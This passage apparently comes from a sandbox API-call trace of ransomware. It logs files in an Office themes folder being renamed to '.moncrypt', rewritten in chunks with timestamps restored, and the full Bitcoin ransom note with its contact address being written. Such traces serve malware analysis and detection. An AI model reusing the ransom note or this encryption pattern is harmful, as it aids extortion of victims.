lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.458] SetFilePointer (in: hFile=0x18c, lDistanceToMove=42453, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xa5d5 [0054.458] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.458] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.459] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.470] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.470] CloseHandle (hObject=0x18c) returned 1 [0054.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.472] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.472] CloseHandle (hObject=0x18c) returned 1 [0054.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0054.472] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.472] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.472] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.472] GlobalUnlock (hMem=0x44000c) returned 0 [0054.472] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.472] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.473] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.473] GlobalUnlock (hMem=0x44000c) returned 0 [0054.473] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.473] GlobalUnlock (hMem=0x440004) returned 0 [0054.473] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.473] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a630, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.473] GetLastError () returned 0x2 [0054.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.475] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.476] CloseHandle (hObject=0x18c) returned 1 [0054.476] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 1 [0054.476] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.476] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.476] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.476] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.476] GlobalUnlock (hMem=0x440004) returned 0 [0054.477] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.477] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.477] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.477] GlobalUnlock (hMem=0x440004) returned 0 [0054.477] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.477] GlobalUnlock (hMem=0x44000c) returned 0 [0054.477] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.477] CharLowerBuffW (in: lpsz="WATER.ELM", cchLength=0x9 | out: lpsz="water.elm") returned 0x9 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.477] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0054.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", cchWideChar=71, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpUsedDefaultChar=0x0) returned 71 [0054.478] CharLowerBuffW (in: lpsz=".ELM", cchLength=0x4 | out: lpsz=".elm") returned 0x4 [0054.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".elm", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".elmShared\\THEMES14\\WATER\\WATER.ELM", lpUsedDefaultChar=0x0) returned 4 [0054.478] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36a17500, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36a17500, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.ELM", cAlternateFileName="")) returned 0x54e240 [0054.478] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.478] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.478] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM", dwFileAttributes=0x20) returned 1 [0054.480] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.moncrypt")) returned 1 [0054.480] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.480] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.481] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x101cc [0054.481] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.481] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.487] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.487] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.487] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.487] GlobalUnlock (hMem=0x440004) returned 0 [0054.487] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0054.487] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.487] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.487] GlobalUnlock (hMem=0x440004) returned 0 [0054.488] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.488] GlobalLock (hMem=0x440004) returned 0x55bb88 [0054.488] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.488] GlobalUnlock (hMem=0x44000c) returned 0 [0054.488] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0054.488] GlobalUnlock (hMem=0x440004) returned 0 [0054.488] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.488] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.488] GlobalUnlock (hMem=0x440004) returned 0 [0054.488] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0054.488] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.488] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.488] GlobalUnlock (hMem=0x440004) returned 0 [0054.488] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.488] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.488] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.488] SetFilePointer (in: hFile=0x18c, lDistanceToMove=65996, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x101cc [0054.488] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.488] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.489] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.500] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.500] CloseHandle (hObject=0x18c) returned 1 [0054.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.501] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.501] CloseHandle (hObject=0x18c) returned 1 [0054.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0054.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.502] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.502] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.502] GlobalUnlock (hMem=0x440004) returned 0 [0054.502] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.502] GlobalLock (hMem=0x44000c) returned 0x557b88 [0054.502] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.502] GlobalUnlock (hMem=0x440004) returned 0 [0054.502] GlobalHandle (pMem=0x557b88) returned 0x44000c [0054.502] GlobalUnlock (hMem=0x44000c) returned 0 [0054.502] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41a7d8a0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x41a7d8a0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x41a7d8a0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0054.503] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0054.503] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0054.503] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0054.503] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0054.503] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0054.503] CloseHandle (hObject=0x18c) returned 1 [0054.504] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 1 [0054.504] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0054.504] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.504] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.504] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.504] GlobalUnlock (hMem=0x44000c) returned 0 [0054.504] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.504] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.504] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.504] GlobalUnlock (hMem=0x44000c) returned 0 [0054.504] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.504] GlobalUnlock (hMem=0x440004) returned 0 [0054.504] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.504] CharLowerBuffW (in: lpsz="WATER.INF", cchLength=0x9 | out: lpsz="water.inf") returned 0x9 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 